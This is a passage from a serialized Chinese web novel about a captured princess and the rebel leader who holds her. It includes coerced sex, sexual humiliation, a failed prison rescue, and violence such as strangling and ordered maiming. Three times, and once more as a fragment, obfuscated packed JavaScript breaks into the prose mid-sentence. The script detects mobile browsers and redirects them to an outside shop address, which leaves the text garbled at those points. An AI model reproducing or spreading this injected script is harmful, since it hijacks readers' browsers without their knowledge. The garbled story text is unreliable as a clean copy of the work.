迟疑之际,一只手忽然拍上她的肩,柳妤月一愣,转过身,正好见着段路遥。 “公主怎的在这里?”段路遥走到她身边,看了看里面,“此处乃我军重地,公主还是离远些好。” “这样吗——”柳妤月低眉,堪堪表现出一副柔弱的模样,“我不知道……我以为,这里和其他营地一样,可以参观。” 段路遥看她,笑了下:“南营关押重犯,公主身份特殊,还是回去的好。” 重犯…… 柳妤月一怔,下意识想到了母后与胞弟。 国破之日,义林军兵临城下,御史大夫黄午义叛离大魏,挟持太后与年幼新帝投奔叛军。 大魏国都因此失手。 如今这南营管得如此之严?莫非……当真关押着母后与胞弟? 柳妤月心头疑虑更甚。 正当此时,身后忽的传来了细密的脚步声,柳妤月转身望去,却见芙娘正快步走来。 “夫人!不好了!” 芙娘气喘吁吁地停在柳妤月面前,抹了一把汗,狼狈道:“夫人,大王、大王召见您。” 柳妤月皱眉,下意识有种不好的预感。 “大王召见?”段路遥一顿,略带疑惑,“大王现下不是在召见蛮夷使臣吗?” 芙娘摇头,茫然道:“不知——” 话落,她转头看向柳妤月,略带担忧道:“大王召见的急,也不知为何,公主……” “没事,是福是祸,都躲不过。”柳妤月笑了下,道:“我跟你去吧。” 芙娘迟疑片刻,随后才缓缓点头。 柳妤月转身辞别段路遥,便跟着快步往主帅帐中去。 段路遥看着柳妤月离去的身影,停顿良久,转头,看向身后的南营,眸光晦暗难辨,似有无数波涛汹涌。 - 帐中香薰袅袅,忽的帐门被打开,一阵柔风吹散轻烟,柳妤月跟随芙娘步入帐中。 “这便是皇帝新得的美人?”右侧位上,蛮夷使臣的眸光在她周身打转,那眼神阴森粘稠,恍若沼泽中的蛇。 柳妤月察觉不适,福了福身子,不动声色的往周遭避了避。 主位上,盛珏撑着脑袋,好整以暇地看着她。 “躲什么?”盛珏漫不经心地开口,侧头,看了眼旁边的侍卫,“把东西拿上来。” 话音刚落,侍卫端来一套绛紫色的舞裙,展开来,眼见是胡人的款式,上头大都是些薄如蝉翼的轻纱,根本遮不住什么东西。 这衣裳,柳妤月上次见着,还是在胡姬的酒馆里。 柳妤月下意识往后退了一步,心头警铃更甚。 “穿上它。”盛珏双腿交叠,搭在几案上,眼神带着几分戏谑。 颇有几分想看好戏的味道。 昔日大魏兴盛,四方蛮夷皆来贡奉,如今国破,柳妤月身为大魏公主,却得穿上这身胡服,供昔日为臣子的蛮夷使臣欣赏。 盛珏已经想象到她怒而离场的模样了。 这位清高的长公主,怕是该接受不了吧。 盛珏勾了勾唇,摩挲着手上的玉扳指。 等待抉择的时间仿佛被拉得极长,大帐内静得似乎能听见每个人的心跳。 柳妤月看着胡服,蓦的笑了,她生得美,浅笑亦如明珠般绚烂。 少女眉眼弯弯,如一道羽箭破空刺入胸膛,盛珏不合时宜的心头微颤,但很快便按捺了下去。 笑什么? “你——” “遵命。”柳妤月堪堪跪下行礼,她捧着胡服,额头抵在地面,温驯得恍若最忠心的臣子。 盛珏抿唇,眼睁睁的看着她捧着舞裙,转身,离开。 动作一气呵成。 她平静地好似竹林深处的湖泊,幽静,且毫无波澜。 没有来的,盛珏察觉到一股强烈的挫败。 她怎么能这么平静? 他不自觉握紧拳,起了几分好胜心。 定他做的不够狠。 对,没错,就是这样。 柳妤月,我非要折磨得你跪地求饶不可。 换衣裳的时间并不长,不过是一刻钟的功夫,门帘再次掀开,恰如一阵香风吹过,薄纱翩然起舞。 使臣瞪大眼睛,不自觉坐直了身子。 盛珏神情一愣,握紧的手轻轻松开。 柳妤月温驯低眉,小心翼翼地走进大帐。 这身舞裙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227993|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头不过是个抹胸,堪堪遮住胸前风光,腰腹处皆是裸露,下半身虽是长裙,但大多数是些薄纱,遮不住什么东西。 她知晓盛珏叫她穿上这身,不过是为了羞辱她,但她亦是知道,如今关头,盛珏就算是要她走一趟刀山火海,她也是要去的。 因为,她要活下去。 帐内再次迎来短暂的静谧,柳妤月抬头,正巧对上了盛珏锐利如鹰的眸子。 “大王。”她堪堪行礼,自然的躲开他的目光。 盛珏移开眸光,喉结微动,掩下眸底躁动的惊艳。 “既然来了。”他清了清嗓子,定了定心神,“那便代替我,好好伺候使臣大人。” “是。”柳妤月领命,缓缓走向一旁的使臣。 “好、好、好!”蛮夷使臣闻言乐不可支,一双鼠眼牢牢定在她的身上。 柳妤月走到他身边,端起酒壶,堪堪替他斟满一杯酒,准备放下酒壶时,手被牢牢握住。 “大魏公主,兴许听过在下的名字吧。”那使臣笑了起来,门牙上镶了金,另一只手暧昧的在她手上打转。 昔日蛮夷各部打不过大魏,可如今国破,玩一玩他们的公主,倒是不错的体验。 这般想着,那使臣更加兴奋了。 柳妤月低垂着眉眼,温驯道:“大人请说。” 那只手已然顺着柔夷,缓缓上移至藕白的肩膀,柳妤月却也不躲,安静的坐在他身边,温和的像一只收了爪子的猫儿。 盛珏捏紧杯子,指节发白。 “我嘛,乃是大夏使臣,赫连忠。”赫连忠一把揽过柳妤月,手摩挲在她娇嫩的肌肤上。 赫连,乃是大夏的大姓,世代勋贵的人家。 “原是赫连大人。”柳妤月端起酒杯,送到他唇边,巧笑倩兮:“大人,请。” 赫连忠□□着,看着她,没动,柳妤月以为他不想喝,正想放下酒杯,下一秒腰被那人狠狠往怀里扣。 手一抖,酒液打湿了裙子。 “呀!公主的裙子怎的湿了。”赫连忠状似不经意,抬头笑,“湿漉漉的衣裳穿着,可别着凉了,不如,我来帮公主脱——” 说罢,他的手便已经往柳妤月的裙摆上挪去。 酒杯重重放在桌面上,发出声响。 赫连忠手一顿。 众人都看向盛珏。 “皇、皇帝?”赫连忠隐约察觉不对。 盛珏捏着酒杯,神色不动,“酒足饭饱,倒是有些无聊。” 他状似不经意地瞥了眼柳妤月,“不如正好,琅悦公主来跳曲舞,活跃活跃氛围如何?” 话题巧妙的被转移到另一地方。 赫连忠显然有些失落。 温香软玉在怀,他想的都是些腌臜事,这等关头,自然只想随心所欲。 此时,外头的乐师已然入内,看样子也推脱不得,赫连忠眼珠子一转,计上心来。 “若是活跃气氛,那我有一提议。” “赫连兄请讲。” 赫连忠看向柳妤月,轻佻地抬起她的下巴,“听闻大魏勾栏中曾有一舞,名曰见雪,赫连来此多日,倒是未曾一见。不知琅悦公主,可否让人见见世面?” 听到“见雪”二字,在场人无不是一愣。 所谓“见雪”,出自勾栏,听着风雅,却实在不是什么上的台面的东西,舞者需跟随节奏,不断褪去身上衣物,直至□□。 柳妤月面色微白,下意识看向盛珏。 她自然不想跳,可若真是盛珏点了头,一切可就由不得她了。 8. 试探 察觉到柳妤月的眸光,盛珏的指尖颤了颤,余光不经意撇向柳妤月。 恰好见着后者转头,重新靠在了赫连忠怀里。 ——盛珏自己也不是什么好东西,怎么能指望他呢? 盛珏捏紧了酒杯,喝了一口酒。 颇有些赌气的味道。 无论如何,他非要让她今日跪下求饶不可。 柳妤月没注意到他的变化,只是心下默默盘算着。在旁人看来,眉目娇艳,不胜含羞,美人面上没有半点委屈。 倒像是真心待赫连忠的。 盛珏眸光一沉。 “既然赫连兄想看,那便叫琅悦公主来跳跳吧。”他冷淡道。 两人的目光在半空中有短暂的交汇,柳妤月低下头,结束了对视。 果然,她没猜错。 盛珏就是个疯子。 “遵命。” 盛珏抬手,“叫来上京都最有名的见雪舞者,亲自,教公主跳。” 他将“亲自”这两个字咬的极重,颇有几分看好戏的味道。 柳妤月没忍住气笑。 怎么,以为这样就能羞辱她了吗? 侍者上前,派人请来了舞者。 柳妤月也不推辞,谦逊拱手,紧接着,丝竹之声再起。 既然要跳,那就好好跳。 这世上没有她柳妤月跳不会的舞。 伴随着节奏密集,舞者开始褪去外披,柳妤月垂眸,毫不犹豫地跟着褪去。 赫连忠神色痴迷。 盛珏捏紧了酒杯。 柳妤月顿时来了兴致。 她到底是有些舞蹈底子在的,绫罗飞舞间,柔若无骨的腰肢不堪一握。 是柔媚的身子,可偏生配了张惊艳清冽的脸。 清冷中不经意带着些柔媚,最是折磨人。 最后一个旋转结束,舞者褪去下裙,柔软地瘫坐在地,柳妤月正想模仿,手却被人猛地拉住! 是赫连忠。 “唔——” 闷哼一声,柳妤月被他一把拉进怀里。 他显然已经看入迷了,看着她,一双鼠眼满是痴迷:“琅悦公主,果真国色……” 眼看这人的手要探进她的衣襟。 终于是有人坐不住了。 只听剑鸣尖锐,如刀割过耳膜,下一秒,耳畔传来人们慌乱的声音。 “大王!” 七尺长的长剑堪堪抵在赫连忠的脖颈。 柳妤月顺着长剑望去,另一头,盛珏握紧了剑柄,神色阴沉,像是怒极了。 他在怒什么? 柳妤月翘了翘嘴角,心神反倒是定下来了。 玩政治的,心都脏。 她当然不会洋洋得意地以为盛珏这番行径是出自于维护,她是政治家,知道能成大事者,都能忍诸多常人不可忍之事。 盛珏能领兵打到盛京城外,绝不是什么耽于情爱的痴心人。 此番阻拦,怕是另有盘算。 但那又如何,她能脱险也是极好的。 柳妤月低垂着眉,看好戏一般将脸埋进赫连忠怀里,却在下一秒,被人猛地拉出。 盛珏要被气炸了。 他从未见过这样的女人。 前朝金尊玉贵的长公主,大魏最美艳的女子,按理说就该做天下女子的表率,侍奉夫婿,守洁有礼。 她倒好,昨夜方才与自己抵死缠绵,如今得了命,还真巴巴地过去陪赫连忠了。 方才若是他不阻拦,赫连忠的手早就要将她衣裳扒个干净了! 她可真敢啊! 盛珏咬牙切齿,单手捏着女人的下颚。 “好,你好得很。” 盛珏气的胸口起伏,捏着她的手,牙根磨得直发痒。 “大、大王……”那厢赫连忠已然被吓傻了,周遭被数位卫兵拿刀抵着脖子,两股战战,□□里已经濡湿了一大片。 他想破脑袋也想不明白,自己到底哪里惹到这个阎王了。 盛珏此刻正在气头上,根本没工夫搭理他,偏生柳妤月还一副笑意浅浅地望着他笑。 他更气了。 柳妤月也很纳闷。 这疯狗怎的忽然又变脸了,这瞧着自己的眼神,大有把她生吞活剥的架势。 可她明明什么也没做。 正所谓,伸手不打笑脸人。 柳妤月嘴角一翘,容貌熠熠生辉。 “谢大王夸奖。” 她想,自己表现得已经够温驯了,他还想她做些什么? 谁知那人看着似乎更生气了,一把将她打横抱起,大踏步地便往外走。 临近门口,似乎又想到什么,盛珏转头幽幽撇了赫连忠一眼:“先砍了两只手,再杀了。” 声音不大,却是掷地有声。 军账的帘幕缓缓落下,背后一声惨叫直冲云霄。 柳妤月蜷缩在盛珏怀中,垂下眸子,并不做声。 * 柳妤月已经记不清自己这到底是第几回被丢在床榻上了。 一抬头,盛珏解下护腕,丢在一旁。 步步紧逼。 她也没躲。 “大王在气什么?”她状似不经意开口。 下一秒便被抵在床头,男人身上温热的酒气铺天盖地而来,她被迫抬起下巴,与他对视。 “刚才若是我没出手,你打算跟他发展到哪一步?” 他有意压着自己的情绪,生怕被敏锐的猎物发现了端倪,可说到最后却有了几分恨恨的味道,“高高在上的琅悦公主,原不过是个人尽可夫的□□。” 柳妤月嗤笑一声,并不在意。 “我既已被送来这儿,便是大王的人,您要我伺候谁,不是您一句话的事?” “那你跟谁都可以睡?”盛珏气炸了,几乎想也不想,“他赫连忠猪狗一般的人!凭什么——” “有什么区别?”柳妤月似笑非笑的打断了他。 少女的眸子极亮,像是满天星辰汇集与她的眸底,里头倒映着烛火,还有他粗犷的脸。 盛珏一愣,他忽然想起,在没攻入这大魏京都之前,在柳妤月眼中,他和赫连忠没什么区别。 草寇出身,满身蛮力。 唯一不同的大抵是…… 盛珏喉结动了动,他低头看着身下的女人,哪怕被剥离了最明艳的外衣,她的面容依旧精致华美。 恍若大魏枝头最娇艳的牡丹。 就是这张脸,不久前在月光下美得惊心动魄。 他第一次没控制住自己的欲望。 沉溺在她温软的身体中。 盛珏忽然明白,每每面对柳妤月时,自己内心那奇怪的复杂感来自何处。 是不甘。 是狼狈。 义林军一路攻城拔寨,势如破竹,他的军帐里从未断绝过各种女人。 可他没碰过任何人。他当然有男人的欲念,冷静自制地掌控着它,只是因为他私心里早就有了一个女子,那是年少的月光,心底的朱砂,亦是他此生认定的爱人。 少年对于挚爱最深的执念,便是为她守身如玉。 他以为自己会一直这样。 直到柳妤月出现。 她是帝国最娇艳的牡丹,亦是月下最媚人的妖精。 盛珏知道那日的自己,如豺狼一般横冲直撞,疯狂,却又叫人上瘾。 可一朝梦醒,他想起心里是有人的。 那是大魏五公主,柳扶芫。 他好像背叛了她。 所以叫人送去避子汤。 蹩脚的挽救。 然而……他满心防备的想要远离,却又不由自主的被她吸引。 男人看她的眼神很是复杂,柳妤月不知他在想什么,只是笑了下: “大王这般瞧我,不怕被我误会?” “什么误会。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227994|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人回了神,脱下外衣将她绑在床头,要继续他未完成之事。 他似乎格外喜欢用这样屈辱的方式折磨她,柳妤月却也不怕,微抬下巴,毫不露弱。 “误会,您爱上了我。” 她说的是肯定句。 盛珏浑身一震,几乎是下意识地便掐住了她的脖子。 “再胡说八道本王撕烂你的嘴!” 柳妤月被掐着脖子,眼角沁出几滴生理性的泪。 盛珏放开了她。 “你怕是忘了,你不过是大魏送来的一颗棋子,在我这里,你不过是个暖床丫鬟。” 他看起来更气了,“当日你说的不错,本王的确对你的五妹妹有些兴趣,比起她,你不过是个空有美貌的废物!” 自幼便众星捧月的柳妤月生平第一次被人称作废物。 她嗤笑一声,却也没说话。 大魏皇室,各个公主皆为金尊玉贵,她无意与任何妹妹比较。 她很小就知道了,只有物品才会互相比较。 她柳妤月就是柳妤月,无论好坏,都是世间独一份的存在。 不需要任何人来质疑。 怀里的女人看起来根本不在意,盛珏心头的无力感便更盛几分,“本王就爱看你这幅什么都不放在眼里的样子。” 他怒极反而笑了,之间窜入她的单薄的衣裳里,拂过肌肤,带起一阵颤栗。 “民间传闻,鱼水之欢,可叫男人通往女子的心。”盛珏吻了下她洁白圆润的指尖,粗糙的手指开始肆意摩挲,“本王倒是要看看,你到底要被宠幸几次,才能彻底驯服。” 驯服? 柳妤月被揉地眼眶泛红,可牙关还是微微咬着的:“那便要看大王的本事了。” 就算在这个关头,她依旧是寸步不让。 “有的男子英姿飒爽,一次便足以叫人少女怀春。”她适应了些,忍耐着心口的酥麻,轻声开口,带着几分嘲讽,“可有些人,生来如泥卑贱,纵使七次八次,也就当被狗咬了,做不得数。” 字字句句都在和他较劲。 盛珏咬牙,狠狠一口咬在她的锁骨上。 柳妤月仰头,皱眉忍住痛。 “好一口伶牙俐齿。”他几乎是阴沉着脸开口:“祝允之将你送来本王床榻之时,难道没教过公主谦卑温驯?” 他故意提祝允之,就是有意羞辱她。 她是被自己未婚夫送来他身边的,盛珏以为,她心里多少是有些委屈的。 岂料她似乎全不在乎,微微喘气,缓缓开口:“祝宰相光明磊落,从不与我说这些。” 盛珏要被气疯了。 她居然在他的床上夸别的男人! “你!”他气急,却又话锋一转,冷笑,“但那又如何,你如今已是残花败柳,他大魏宰相,难道还能要一个被本王玩腻了的女人?” 柳妤月轻笑,云淡风轻: “大王说笑了,祝宰相若是当真爱我,又怎会在意我今日与大王之间发生了什么?” “大王,一个女人最引人着迷的,可不止这幅身子。” 她有意在他耳边说话,馨香的气息在他鼻尖流窜。 盛珏没回话,咬紧牙在她身上肆虐。 “荡丨妇!” 他说着荡丨妇,可分明他的身子却爱惨了她。 柳妤月抬头看着床帐,微微喘气。 她忽然明白,一个男人只有在拿女人没办法时,才会抓着“荡丨妇”两字对她疯狂羞辱。 妄想通过打压,操控女人的内心。 可盛珏看错了对象。 她可不是什么循规蹈矩的闺阁小姐。 她自幼辅佐君王,是朝堂上布政施策的政客,亦是布局千里之外的谋士,背负故国傲骨,肩挑家国大义。 她是琅悦长公主。 她腹有锦绣,胸怀大义,一个男人嘴里的荡丨妇之称,又能算的了什么? 9. 绝处 时光荏苒,一晃便是两日。 主帅帐中油灯燃尽,盛珏看折子,好几次一动不动。 段路遥挥着折扇,多看了他好几眼,最终是实在忍不了了,折扇放在桌上点了两下。 盛珏抬起头。 “我的主帅。”段路遥撇了眼半小时没动的折子,友好提醒,“您若是看不下去,还是别看了,折子遭罪。” 盛珏手挪开,手指持握的地方早就被内力震碎成了灰。 盛珏低头看了眼折子,顺手把它一甩。 看着像有心事。 段路遥难得一次见主帅干什么都提不起劲。 很是稀奇。 盛珏在此之前,是段路遥最欣赏的匪首,没有之一。 不近女色,勤奋好学,虽是出身草莽,却是那群土匪头子里头最像正常人的一个。 这一路征战来,覆灭大魏,权势到了巅峰,却未骄奢淫逸。 段路遥打心眼里也是佩服的。 只是…… “她醒了吗?” 段路遥一愣:“谁?” “柳妤月。” “啊?”段路遥没反应过来,好一会儿才结结巴巴开口,“醒了吧,我听说,琅悦公主这些日子都乏的厉害,整日整日未曾起来……” 盛珏摩挲着光滑的茶盏壁,不知在想什么。 段路遥在一旁神色复杂。 在这义林军中,派系众多,男人嘛,你来我往之间少不了送些女人,盛珏帐中现下就有好几十位夫人,但都是些摆设罢了。 但在段路遥的印象里,琅悦长公主是第一个真正在盛珏帐中过了夜的女人。 第一夜被褥里的一点红被传到他的耳朵里,他虽是诧异,但也不以为然。 琅悦长公主嘛。 这世上没有男人不肖想她,尤其是大魏灭国以后,昔日宫里可望而不可即的金枝玉叶一朝被自己凌辱在身下,如同费劲心力摘下了一朵开在山巅的仙葩。 光是想想就要男人欲血沸腾。 盛珏也不例外。 但现在…… 段路遥看着心不在焉的盛珏,有一个诡异的念头在脑海中浮现,但很快又打消了它。 ——不可能,盛珏不可能爱上那个女人。 成大事的男人,没几个是耽于情爱的。 那琅悦长公主确实生得国色天香,招人怜爱。 但那又如何? 爱情于男人来说不过是生活的调味品,何况琅悦公主早就是主帅帐中之物,这几日主帅日日宿在那儿,想必也该腻了。 得到手的女人,对男子来说早就没了以往的吸引力。 盛珏自然也是一样。 “主帅若是挂念公主,不如叫人把她找来作陪?”段路遥友好发问。 祛除痴迷最好的方法便是日日厮守,就像再怎么喜欢的食物,日日吃了,便也觉得腻了。 基于这一点,段路遥还是鼓励盛珏去找柳妤月的。 谁知盛珏却摇了头:“不必。” 他似乎在思考着什么,看着早已燃尽的油灯,眉头微微皱起。 终于,他发问了。 却叫段路遥心头一颤: “军师以为,如何才能驯服一个女人。” 段路遥不由自主皱起了眉。 他最害怕的事,好像隐隐有了发生的意思。 - 芙娘走近帐中,一眼便能看见云镜前的琅悦公主。 她还是那么美,但看起来并不怎么开心。 像是被困在笼子里的金丝雀,脆弱地美丽着。 芙娘看着心疼,主动拿起檀木梳,替她梳发。 “公主,您别难过,大王定然是爱您的。” 芙娘想了很久,才搜肠刮肚地拼凑出这么一句话,“你这般美丽,大王定然会爱惨了您。” 柳妤月没忍住笑了下,像是一朵花忽而落在镜子般的湖面,笑意像涟漪一般在她精美的面容上散开。 “爱这种东西,谁爱要谁要。” 她漫不经心地抚摸着妆匣,“比起这些,我更想家国安康。” 芙娘有些不理解。 在她看来,女子一生最大的荣耀便是被一位尊贵的儿郎瞧上,然后锦衣玉食,相夫教子,安度一生。 家国大事,那是男儿的事儿,跟女子有什么关系? 但芙娘没问出口,她想了想,说:“公主,您是我见过最美的女子,但您……又好像不是女子。” 柳妤月挑了挑眉,难得有几分感兴趣的意思。 芙娘说:“您像个政客,很聪明那种。” 柳妤月的指尖微微颤了下,但很快,她恢复了平静。 “是吗。” 她看着镜子里的自己,纤细的手指探入妆匣。 “芙娘。” 她忽然唤她,声音很温柔。 芙娘以为她心情好了许多,于是应了一声。 可没等她反应过来,下一秒,像是有什么东西从眼前呼啸而过,紧接着脖子上一痛,她微微往后倒。 落在了柳妤月温暖的怀里。 “公主……” 柳妤月低垂着眉眼,睫毛落下沉重的阴影。 “抱歉,这是我最后的机会了。” 芙娘是极好的人,可柳妤月自诩也并非坏人。 取下芙娘睡穴上的银针,她已然昏睡过去,也不知有没有听见这句道歉的话。 但柳妤月仍旧希望她会有个美好的梦。 柳妤月将自己的衣服换在了芙娘身上,扶着她,睡在了床上。 而她自己则换上芙娘的衣裳,走出了军帐,直奔南营。 耳畔长风呼啸,她躲过一个又一个士兵,生怕脚下慢了一步,可偏生又腿软,走几步就喘得厉害。 今日是救母后与胞弟最后的时间。 之前在口舌之争上落了下风,盛珏便没打算在床笫之上放过她。 一连两日,日日宿在她帐中。 非要折腾得她起不来床不可。 可时间不等人。 如今义林军即将入京,彼时盛珏定会转移母后与胞弟的关押位置。 这是她最后的机会。 南营之中戒备森严,唯有西北角的一处薄弱点有机可乘,恰好今日起了大风,风雨欲来,分明是白日,可天空却是阴沉沉的。 柳妤月到时,角落里的祝允之已然等了很久了。 “公主。”清俊宰相依旧是记忆里的模样,身姿挺拔,如松如玉,只是看起来清减了几分。 柳妤月眨了眨眼,让他不必多礼。 自上次密信一次后,两人再没见面。 柳妤月以为,祝允之对自己多少会有几分怨恨。 怨恨她未经他允许,便将整个皇城的暗桩给了他。 这关系着整个大魏的国运。 一旦失败,他会背上骂名。 谁知他似乎并不在意,展开地图,指着其中标注的位置开了口: “我们的人已经潜入西北角,正在渗透,根据传回的情报,太后娘娘和新帝陛下确实关押在里面。” 柳妤月眉头一展,心头的阴霾散了不少。 这么久以来,难得一个好消息。 柳妤月接过地图,打量片刻后,忽而又想了想:“渗透进去的人可信吗?” 祝允之一顿,柳妤月补充道:“不知为何,义林军中士兵凝聚力极强,一旦发现异样必然上报,各大堂主手段残忍,若是被抓住了,必然会吃不少苦头。” 这点祝允之倒未曾想过,想了想潜入的暗卫名册,他道:“都是中个精锐,签了死契,由统帅季丞率领,身手了得,很难被发现。” 签了死契,意味着舌下藏了毒药。 一旦被发现,便会咬破毒药,毒发身亡。 而统领季丞又是先帝的臣子,最是忠心,显然也不会背叛。 柳妤月悬着的心放下了些,但也只是片刻,便又被牢牢提起。 远处的南营上忽而燃起狼烟。 “怎么回事。” 白烟散在空中,柳妤月心头已然有了几分不好的预感。 祝允之脸色一变,拉着柳妤月便要离开。 “不好,被发现了!” 说时迟那时快,祝允之带着她正要离开,周遭不知哪里冒出众多义林军,将两人团团围住。 察觉情况不妙,祝允之挡在她身前。 “公主,他们交给我,你找机会离开。” 他压低了声音,小声开口,但下一秒,就被另一道声音压了过去。 “你以为,你们能逃得掉吗?” 柳妤月的正前方,有人穿着狼皮军靴,额上系着灰色亚麻布条,缓缓走出。 他有一双猛兽一般的眼睛,漆黑,锐利。 落在她身上,叫人心头发毛。 盛珏。 柳妤月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227995|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么都没想到,他会这么快就出现在这里。 而她更没想到的,是他身边跟着的人,是刚刚出现在祝允之口中的先帝重臣,季丞。 “季丞,你!”祝允之亦是没想到这一点,指着季丞,眸中满是不可置信。 人的背叛总是突如其来,却又因关系的亲近而格外致命。 盛珏嗤笑着看着两人,像是胜券在握的野兽在欣赏猎物最后的一搏。 “我只是想要活着。”季丞神色平静,“生在乱世,比起势如破竹的新王,不会有人相信一个手无缚鸡之力的女人。” 字字冰冷,却又字字锐利。 柳妤月瞳仁微颤,不自觉握紧了手。 祝允之咬牙:“那你对得起先帝吗?!” 季丞微微迟疑片刻,但也只是片刻。 “我只是想要活着。” 他如是说。 柳妤月抿了抿唇,却什么也没说。 盛珏漫不经心地看着不远处的女人,她依旧是那么美,玉雕似的面容,像是受了挫的柔弱白花,在阴雨连绵的深秋惹人垂怜。 可多亏了这忽然叛逃来此的前朝暗卫统领,让他知道,原来,她不是什么娇柔白花。 原来,是个躲在暗处佯装温顺的豹。 表面上是柔柔弱弱的公主,背地里却是那个躲在皇宫里运筹帷幄,叫他损失了数以万计士兵的“皇帝”——他就说,那个看起来懵懵懂懂的小孩,怎么都不像能几度设计困他于城外的“皇帝”。 原来“皇帝”另有其人。 盛珏越想越觉着有趣,没忍住开了口:“柳妤月,你到底还有什么,是我没见过的。” 他们分明在床榻上极尽缠绵不分昼夜,可离开了那个场景,他却又好像根本不了解她。 许是盛珏的眸光实在尖锐,柳妤月心知胜负已分,于是便也没了多说的心思。 她直勾勾对上那人的眼睛,再没掩饰自己眸底的尖锐。 “放了祝允之,我随你处置。” 祝允之下意识开口:“阿词——” “允之。”柳妤月忽而打断了他,她转过头,看着祝允之,神色平静,“你要活着。” 祝允之一愣。 历经背叛,她忽然发觉其实自己能信任的人没有几个。 祝允之,是最后一人。 她还不能死。 祝允之也是。 少女的眸光平静而坚定,祝允之知道,。 祝允之一顿,他知道那是她打定主意后才会显露的神情。 他懂她。 于是没再说话。 单单一个对视,却好似有什么东西心意相通。 那是自由相伴一起长大才能有的独特默契。 盛珏皱眉,忽而觉得刺眼起来:“你凭什么以为我会放过他。” 柳妤月挑眉笑了下,转头,看着盛珏。 她没说话,但他知道。 因为,她还有用。 只有这条命有用,她就有跟他做交易的本钱。 盛珏笑出了声:“柳妤月,女人还是单纯些讨喜。” 柳妤月勾了勾唇,没有应和。 “放了他可以。”既然是做生意,盛珏便也没再装模作样,“但我只能放过一个废人。” 盛珏撇了眼士兵,对方会意,将长剑递给柳妤月。 盛珏言简意赅:“挑断他的手筋脚筋,我放他一条生路。” 柳妤月看着剑,没说话。 看起来像是在为难。 祝允之主动伸出了手。 既然决定活下去,四肢尽断成为废人那又如何,只要不死,他就还有东山再起的机会。 “阿词,我不疼。” 他拿过长剑,将剑柄牢牢放进柳妤月手中。 神色温和,仿佛只是再说一件无关紧要的事。 盛珏挑眉,饶有兴致地看着这一场好戏。 柳妤月抬眼看他,轻轻笑了下,那一瞬,恍若春水荡漾,春花展颜,美好得叫人心惊。 下一秒,少女握紧长剑,将长剑狠狠刺进了自己的右肩。 祝允之:“阿词!” 噗嗤。 长剑贯穿右肩,鲜血染红了她浅色的衣裙。 她的嘴角渗出血丝,可她依旧握紧了剑柄,在众人震惊的目光中,看向盛珏,一字一句开口: “放了祝允之。” 这是命令,不是恳求。 10. 孟浪 忽而风起,吹动军旗。 赤红的叛军旗下,前朝公主的鲜血同样夺目,她正看着他,漆黑的眸中光华流转,像是燃烧着不息的火焰。 ——宁愿自伤,也不愿伤祝允之吗? 盛珏心绪莫名有些烦躁。 “我若是说不呢。”盛珏说。 柳妤月也不怯,她扬眉一笑,因失血而脆弱苍白的小脸依旧精致美好。 “你不会。”她笃定地说。 柳妤月对自己的现状一向清晰。 她虽是阶下囚,亦也是盛珏坐稳江山必不可少的工具。 只要她还有用,这条命,就足以拿去和他谈判。 盛珏自然知道她的想法。 他们两,一个是前朝隐于幼帝背后的君王,另一个是揭竿而起势如破竹的新皇。 战场上几轮交手,怎么会不知道各自内心的盘算? 终了处,盛珏笑了下,声音却略带薄凉。 “祝宰相,你的运气不错。” 祝允之沉默,他静静看着挡在他身前的柳妤月,指甲深深潜入皮肉之中。 盛珏最终还是选择放了祝允之,柳妤月不放心,直到眼睁睁看着祝允之走出义林军大营,背影彻底消失不见。 她才彻底晕了过去。 因为晕的快,没能看见身后盛珏冷得发颤的脸色,以及一闪而过的愤恨。 - 前朝公主勾结宰相潜入军营。 此番动静闹得极大,盛珏狠狠罚了一圈伺候柳妤月的婢女,最后留了一个禁足令。 柳妤月从此失去自由走动的权利,彻底成为圈养在一隅的困兽。 听闻士兵议论,说母后和幼帝关押的地方连夜被换了位置。 柳妤月起身,动作猛了些,身上的纱布骤然便渗了血,刚好被进来换药的芙娘瞧见。 芙娘霎时红了眼。 “公主,您可真会闹腾。” 出乎意料的,她似乎并没有因为柳妤月的算计心生芥蒂。 反倒埋怨她行事鲁莽。 “你要去见宰相怎么不带着我呢?”芙娘小声愤愤道,“您与祝宰相两个人凑一块儿都认不得半个义林军大营,还敢潜入找人,真是胡闹。” 柳妤月一噎,失笑道:“这事儿可不兴讲,要是被盛珏听了,你是要挨板子的。” 芙娘扁了扁嘴,看了眼身后,继而又小心道:“公主,挨板子我也站您这边。” “义林军虽给了我一处安稳地,但那不过是因着我模样生得不好。” “这些年貌美女子在这儿的境遇,我都看着呢。” “比起那些个臭男人,公主,我还是更喜欢你。” 像是生怕自己没说明白,芙娘又道:“总之就是,请您信我,我对您,一万个真心。” 柳妤月失笑,轻轻按了按她的手。 “谢谢。” 